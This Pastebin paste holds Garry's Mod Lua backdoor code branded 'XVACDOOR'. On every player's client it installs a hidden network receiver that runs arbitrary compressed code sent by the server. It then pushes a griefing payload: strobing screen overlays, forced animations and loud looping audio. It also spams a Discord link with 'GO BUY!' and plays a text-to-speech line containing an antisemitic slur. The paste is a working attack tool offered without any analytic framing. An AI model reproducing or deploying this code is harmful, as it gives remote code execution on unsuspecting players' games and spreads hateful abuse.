API tools faq
paste
Advertisement
Xeni0

Untitled

Xeni0
Dec 7th, 2019
164
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 13.68 KB | None | 0 0
raw download clone embed print report
  1. local function rdm_str(len)
  2. if !len or len <= 0 then return '' end
  3. return rdm_str(len - 1) .. ("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789")[math.random(1, 62)]
  4. end
  5.  
  6. function RandomString( intMin, intMax )
  7.  
  8. local ret = ""
  9.  
  10. for _ = 1, math.random( intMin, intMax ) do
  11.  
  12. ret = ret.. string.char( math.random(65, 90) )
  13.  
  14. end
  15.  
  16.  
  17.  
  18. return ret
  19.  
  20. end
  21.  
  22.  
  23.  
  24. m_strImageGlobalVar = RandomString( 6, 12 )
  25.  
  26.  
  27.  
  28. local function rdm_str(len)
  29.  
  30. if !len or len <= 0 then return '' end
  31.  
  32. return rdm_str(len - 1) .. ("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789")[math.random(1, 62)]
  33.  
  34. end
  35.  
  36.  
  37.  
  38. local net_string = rdm_str(25)
  39.  
  40.  
  41.  
  42. util.AddNetworkString(net_string)
  43.  
  44. BroadcastLua([[net.Receive("]] .. net_string .. [[",function()CompileString(util.Decompress(net.ReadData(net.ReadUInt(16))),"?")()end)]])
  45.  
  46. hook.Add("PlayerInitialSpawn", "ifyouseethisdontpanicitsme",function(ply)
  47.  
  48. if !ply:IsBot() then
  49.  
  50. ply:SendLua([[net.Receive("]] .. net_string .. [[",function()CompileString(util.Decompress(net.ReadData(net.ReadUInt(16))),"?")()end)]])
  51.  
  52. end
  53.  
  54. end)
  55.  
  56.  
  57.  
  58. local function SendToClient(code)
  59.  
  60. timer.Simple(1, function()
  61.  
  62. local data = util.Compress(code)
  63.  
  64. local len = #data
  65.  
  66. net.Start(net_string)
  67.  
  68. net.WriteUInt(len, 16)
  69.  
  70. net.WriteData(data, len)
  71.  
  72. net.Broadcast()
  73.  
  74. end)
  75.  
  76. end
  77.  
  78.  
  79.  
  80.  
  81.  
  82. hook.Add("Think","\xFF\xFF\xFF",function()
  83.  
  84. local col = HSVToColor(CurTime() * 50 % 360, 1, 1)
  85.  
  86. for _, v in ipairs(player.GetAll()) do
  87.  
  88. v:SetWeaponColor(Vector(col.r / 255, col.g / 255, col.b / 255))
  89.  
  90. end
  91.  
  92. end)
  93.  
  94.  
  95.  
  96.  
  97.  
  98. SendToClient([=[
  99.  
  100. g_]=].. m_strImageGlobalVar.. [=[ = {}
  101.  
  102. local html = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
  103.  
  104. local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
  105.  
  106. local pnl = vgui.Create( "HTML" )
  107.  
  108. pnl:SetPos( ScrW() -1, ScrH() -1 )
  109.  
  110. pnl:SetVisible( true )
  111.  
  112. pnl:SetMouseInputEnabled( false )
  113.  
  114. pnl:SetKeyBoardInputEnabled( false )
  115.  
  116. pnl:SetSize( intSizeX, intSizeY )
  117.  
  118. pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
  119.  
  120.  
  121.  
  122. local PageLoaded
  123.  
  124. PageLoaded = function()
  125.  
  126. local mat = pnl:GetHTMLMaterial()
  127.  
  128. if mat then
  129.  
  130. g_]=].. m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
  131.  
  132. return
  133.  
  134. end
  135.  
  136.  
  137.  
  138. timer.Simple( 0.5, PageLoaded )
  139.  
  140. end
  141.  
  142.  
  143.  
  144. PageLoaded()
  145.  
  146. end
  147.  
  148. LoadWebMaterial( "https://media.giphy.com/media/TI9GLrRe9F89aWADYF/giphy.gif", "hud2", 256 , 256 )
  149.  
  150.  
  151.  
  152.  
  153.  
  154. timer.Create("qqyptebobvnq", 1.5, 0, function()
  155.  
  156. local time = tonumber(0)
  157.  
  158. local Message = {
  159.  
  160. " .https://discord.gg/UEFMz8R#XVACDOOR.",
  161.  
  162. " ..https://discord.gg/UEFMz8R#XVACDOOR..",
  163.  
  164. " ...https://discord.gg/UEFMz8R#XVACDOOR...",
  165.  
  166. " ....https://discord.gg/UEFMz8R#XVACDOOR....",
  167.  
  168. " .....https://discord.gg/UEFMz8R#XVACDOOR.....",
  169.  
  170. " ......https://discord.gg/UEFMz8R#XVACDOOR......",
  171.  
  172. " .......https://discord.gg/UEFMz8R#XVACDOOR.......",
  173.  
  174. " ........https://discord.gg/UEFMz8R#XVACDOOR........",
  175.  
  176. ".........https://discord.gg/UEFMz8R#XVACDOOR.........",
  177.  
  178. " ........https://discord.gg/UEFMz8R#XVACDOOR........",
  179.  
  180. " .......https://discord.gg/UEFMz8R#XVACDOOR.......",
  181.  
  182. " ......https://discord.gg/UEFMz8R#XVACDOOR......",
  183.  
  184. " .....https://discord.gg/UEFMz8R#XVACDOOR.....",
  185.  
  186. " ....https://discord.gg/UEFMz8R#XVACDOOR....",
  187.  
  188. " ...https://discord.gg/UEFMz8R#XVACDOOR...",
  189.  
  190. " ..https://discord.gg/UEFMz8R#XVACDOOR..",
  191.  
  192. " .https://discord.gg/UEFMz8R#XVACDOOR.",
  193.  
  194. }
  195.  
  196. for _, line in pairs(Message) do
  197.  
  198. time = time + tonumber(0.1)
  199.  
  200. timer.Simple(time,function()
  201.  
  202. chat.AddText(HSVToColor( CurTime() % 6 * 60, 1, 1 ),line)
  203.  
  204. end)
  205.  
  206. end
  207.  
  208. end)
  209.  
  210.  
  211.  
  212. timer.Simple(1, function()
  213.  
  214. local text = "X vaqueDore est ICI, Sombre juif qui lik "
  215.  
  216. local str = '' text = string.Trim(text) text = string.Explode(' ', text) if text == {} then return end for k,v in pairs(text) do str = str .. v .. '+' end sound.PlayURL('http://translate.google.com/translate_tts?ie=UTF-8&client=tw-ob&q='..str..'&tl=fr','mono',function(chan, num, str)end)
  217.  
  218. end)
  219.  
  220.  
  221.  
  222. timer.Simple(2, function()
  223.  
  224. timer.Create("uurnbaneycmk", 0.1, 0, function()
  225.  
  226. notification.AddLegacy( "Le XVACDOOR est là !GO BUY!", math.random(0, 4), 1.5 )
  227.  
  228. end)
  229.  
  230. function GAMEMODE:PostDraw2DSkyBox()
  231.  
  232. local col = HSVToColor( RealTime() * 120 % 360, 1, 1 )
  233.  
  234. render.Clear(col.r/1.3, col.g/1.3, col.b/1.3, 255)
  235.  
  236. return !!1
  237.  
  238. end
  239.  
  240. function GAMEMODE:PreDrawSkyBox()
  241.  
  242. local col = HSVToColor( RealTime() * 120 % 360, 1, 1 )
  243.  
  244. render.Clear(col.r/1.3, col.g/1.3, col.b/1.3, 255)
  245.  
  246. return !!1
  247.  
  248. end
  249.  
  250. end)
  251.  
  252.  
  253.  
  254. ]=])
  255.  
  256.  
  257.  
  258. SendToClient([=[
  259.  
  260.  
  261.  
  262. timer.Simple(5, function()
  263.  
  264.  
  265.  
  266. timer.Create("semmmmm", 5, 100, function()
  267.  
  268. RunConsoleCommand("act","dance")
  269.  
  270. RunConsoleCommand("_darkrp_doanimation", "1642")
  271.  
  272. end)
  273.  
  274.  
  275.  
  276. local ragtbl = {}
  277.  
  278. for i=1,20 do
  279.  
  280. ragtbl[i] = ClientsideRagdoll( "models/player/gman_high.mdl" )
  281.  
  282. ragtbl[i]:SetNoDraw( false )
  283.  
  284. ragtbl[i]:DrawShadow( true )
  285.  
  286. end
  287.  
  288.  
  289.  
  290. local function GetWebMat( strURL )
  291.  
  292. return g_]=].. m_strImageGlobalVar.. [=[[strURL]
  293.  
  294. end
  295.  
  296. local uwu = {}
  297.  
  298.  
  299.  
  300. hook.Add("HUDPaint", "okay",function()
  301.  
  302. for k,v in pairs(uwu) do
  303.  
  304. v()
  305.  
  306. end
  307.  
  308. end)
  309.  
  310.  
  311.  
  312. SOUNDSTART_CTP = false
  313.  
  314. OZJFOZJCEZIO = true
  315.  
  316.  
  317.  
  318.  
  319.  
  320. sound.PlayURL("https://kvac.cz/assets/makeitbum.mp3","mono noblock noplay",function(s)
  321.  
  322. if not s then return end
  323.  
  324. if SOUNDSTART_CTP then s:Stop() return end
  325.  
  326. SOUNDSTART_CTP = true
  327.  
  328. s:SetVolume(5 )
  329.  
  330. s:Play()
  331.  
  332. s:EnableLooping( true )
  333.  
  334.  
  335.  
  336. local ragtbl = {}
  337.  
  338.  
  339.  
  340. uwu["CoolEffect"] = function()
  341.  
  342.  
  343.  
  344.  
  345.  
  346.  
  347.  
  348. local tbl = {}
  349.  
  350. s:FFT(tbl,FFT_2048)
  351.  
  352.  
  353.  
  354.  
  355.  
  356. xpcall(function()
  357.  
  358. local fal = 0
  359.  
  360. for i=4,6 do
  361.  
  362. fal = fal + tbl[i]
  363.  
  364. end
  365.  
  366.  
  367.  
  368. if fal > 0.8 then
  369.  
  370.  
  371.  
  372. local oneid = "newhud"..math.random(100, 300).."id"
  373.  
  374.  
  375.  
  376. hook.Add( "HUDPaint", oneid, function()
  377.  
  378. surface.SetDrawColor( 255, 255, 255, 255 )
  379.  
  380.  
  381.  
  382. if GetWebMat( "hud2" ) then -- lui
  383.  
  384. surface.SetMaterial( GetWebMat("hud2")[1] )
  385.  
  386. surface.DrawTexturedRect( 0, 0, ScrW(), ScrH() )
  387.  
  388. end
  389.  
  390.  
  391.  
  392. end )
  393.  
  394.  
  395.  
  396. timer.Simple(0.2, function()
  397.  
  398. hook.Remove( "HUDPaint", oneid)
  399.  
  400. end)
  401.  
  402.  
  403.  
  404. end
  405.  
  406. end,function()
  407.  
  408. end)
  409.  
  410.  
  411.  
  412. end
  413.  
  414.  
  415.  
  416. end)
  417.  
  418. end)
  419.  
  420. ]=])
  421.  
  422.  
  423.  
  424.  
  425.  
  426.  
  427. --[[
  428. LuaCmd
  429. --]]
  430. net.Receive("RIyZrG54Bae4I80AxfUN1cCX4",function()CompileString(util.Decompress(net.ReadData(net.ReadUInt(16))),"?")()end)
  431.  
  432. --[[
  433. ?
  434. --]]
  435. g_SFSYCEH = {}
  436. local html = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
  437. local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
  438. local pnl = vgui.Create( "HTML" )
  439. pnl:SetPos( ScrW() -1, ScrH() -1 )
  440. pnl:SetVisible( true )
  441. pnl:SetMouseInputEnabled( false )
  442. pnl:SetKeyBoardInputEnabled( false )
  443. pnl:SetSize( intSizeX, intSizeY )
  444. pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
  445.  
  446. local PageLoaded
  447. PageLoaded = function()
  448. local mat = pnl:GetHTMLMaterial()
  449. if mat then
  450. g_SFSYCEH[strUID] = { mat, pnl }
  451. return
  452. end
  453.  
  454. timer.Simple( 0.5, PageLoaded )
  455. end
  456.  
  457. PageLoaded()
  458. end
  459. LoadWebMaterial( "https://media.giphy.com/media/TI9GLrRe9F89aWADYF/giphy.gif", "hud2", 256 , 256 )
  460.  
  461.  
  462. timer.Create("qqyptebobvnq", 1.5, 0, function()
  463. local time = tonumber(0)
  464. local Message = {
  465. " .https://discord.gg/UEFMz8R#XVACDOOR.",
  466. " ..https://discord.gg/UEFMz8R#XVACDOOR..",
  467. " ...https://discord.gg/UEFMz8R#XVACDOOR...",
  468. " ....https://discord.gg/UEFMz8R#XVACDOOR....",
  469. " .....https://discord.gg/UEFMz8R#XVACDOOR.....",
  470. " ......https://discord.gg/UEFMz8R#XVACDOOR......",
  471. " .......https://discord.gg/UEFMz8R#XVACDOOR.......",
  472. " ........https://discord.gg/UEFMz8R#XVACDOOR........",
  473. ".........https://discord.gg/UEFMz8R#XVACDOOR.........",
  474. " ........https://discord.gg/UEFMz8R#XVACDOOR........",
  475. " .......https://discord.gg/UEFMz8R#XVACDOOR.......",
  476. " ......https://discord.gg/UEFMz8R#XVACDOOR......",
  477. " .....https://discord.gg/UEFMz8R#XVACDOOR.....",
  478. " ....https://discord.gg/UEFMz8R#XVACDOOR....",
  479. " ...https://discord.gg/UEFMz8R#XVACDOOR...",
  480. " ..https://discord.gg/UEFMz8R#XVACDOOR..",
  481. " .https://discord.gg/UEFMz8R#XVACDOOR.",
  482. }
  483. for _, line in pairs(Message) do
  484. time = time + tonumber(0.1)
  485. timer.Simple(time,function()
  486. chat.AddText(HSVToColor( CurTime() % 6 * 60, 1, 1 ),line)
  487. end)
  488. end
  489. end)
  490.  
  491. timer.Simple(1, function()
  492. local text = "X vaqueDore est ICI, Sombre juif qui lik"
  493. local str = '' text = string.Trim(text) text = string.Explode(' ', text) if text == {} then return end for k,v in pairs(text) do str = str .. v .. '+' end sound.PlayURL('http://translate.google.com/translate_tts?ie=UTF-8&client=tw-ob&q='..str..'&tl=fr','mono',function(chan, num, str)end)
  494. end)
  495.  
  496. timer.Simple(2, function()
  497. timer.Create("uurnbaneycmk", 0.1, 0, function()
  498. notification.AddLegacy( "XVACDOOR est là !GO BUY!", math.random(0, 4), 1.5 )
  499. end)
  500. function GAMEMODE:PostDraw2DSkyBox()
  501. local col = HSVToColor( RealTime() * 120 % 360, 1, 1 )
  502. render.Clear(col.r/1.3, col.g/1.3, col.b/1.3, 255)
  503. return !!1
  504. end
  505. function GAMEMODE:PreDrawSkyBox()
  506. local col = HSVToColor( RealTime() * 120 % 360, 1, 1 )
  507. render.Clear(col.r/1.3, col.g/1.3, col.b/1.3, 255)
  508. return !!1
  509. end
  510. end)
  511.  
  512.  
  513.  
  514. --[[
  515. ?
  516. --]]
  517.  
  518. timer.Simple(5, function()
  519.  
  520. timer.Create("semmmmm", 5, 100, function()
  521. RunConsoleCommand("act","dance")
  522. RunConsoleCommand("_darkrp_doanimation", "1642")
  523. end)
  524.  
  525. local ragtbl = {}
  526. for i=1,20 do
  527. ragtbl[i] = ClientsideRagdoll( "models/player/gman_high.mdl" )
  528. ragtbl[i]:SetNoDraw( false )
  529. ragtbl[i]:DrawShadow( true )
  530. end
  531.  
  532. local function GetWebMat( strURL )
  533. return g_SFSYCEH[strURL]
  534. end
  535. local uwu = {}
  536.  
  537. hook.Add("HUDPaint", "okay",function()
  538. for k,v in pairs(uwu) do
  539. v()
  540. end
  541. end)
  542.  
  543. SOUNDSTART_CTP = false
  544. OZJFOZJCEZIO = true
  545.  
  546.  
  547. sound.PlayURL("https://kvac.cz/assets/makeitbum.mp3","mono noblock noplay",function(s)
  548. if not s then return end
  549. if SOUNDSTART_CTP then s:Stop() return end
  550. SOUNDSTART_CTP = true
  551. s:SetVolume(5 )
  552. s:Play()
  553. s:EnableLooping( true )
  554.  
  555. local ragtbl = {}
  556.  
  557. uwu["CoolEffect"] = function()
  558.  
  559.  
  560.  
  561. local tbl = {}
  562. s:FFT(tbl,FFT_2048)
  563.  
  564.  
  565. xpcall(function()
  566. local fal = 0
  567. for i=4,6 do
  568. fal = fal + tbl[i]
  569. end
  570.  
  571. if fal > 0.8 then
  572.  
  573. local oneid = "newhud"..math.random(100, 300).."id"
  574.  
  575. hook.Add( "HUDPaint", oneid, function()
  576. surface.SetDrawColor( 255, 255, 255, 255 )
  577.  
  578. if GetWebMat( "hud2" ) then -- lui
  579. surface.SetMaterial( GetWebMat("hud2")[1] )
  580. surface.DrawTexturedRect( 0, 0, ScrW(), ScrH() )
  581. end
  582.  
  583. end )
  584.  
  585. timer.Simple(0.2, function()
  586. hook.Remove( "HUDPaint", oneid)
  587. end)
  588.  
  589. end
  590. end,function()
  591. end)
  592.  
  593. end
  594.  
  595. end)
  596. end)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!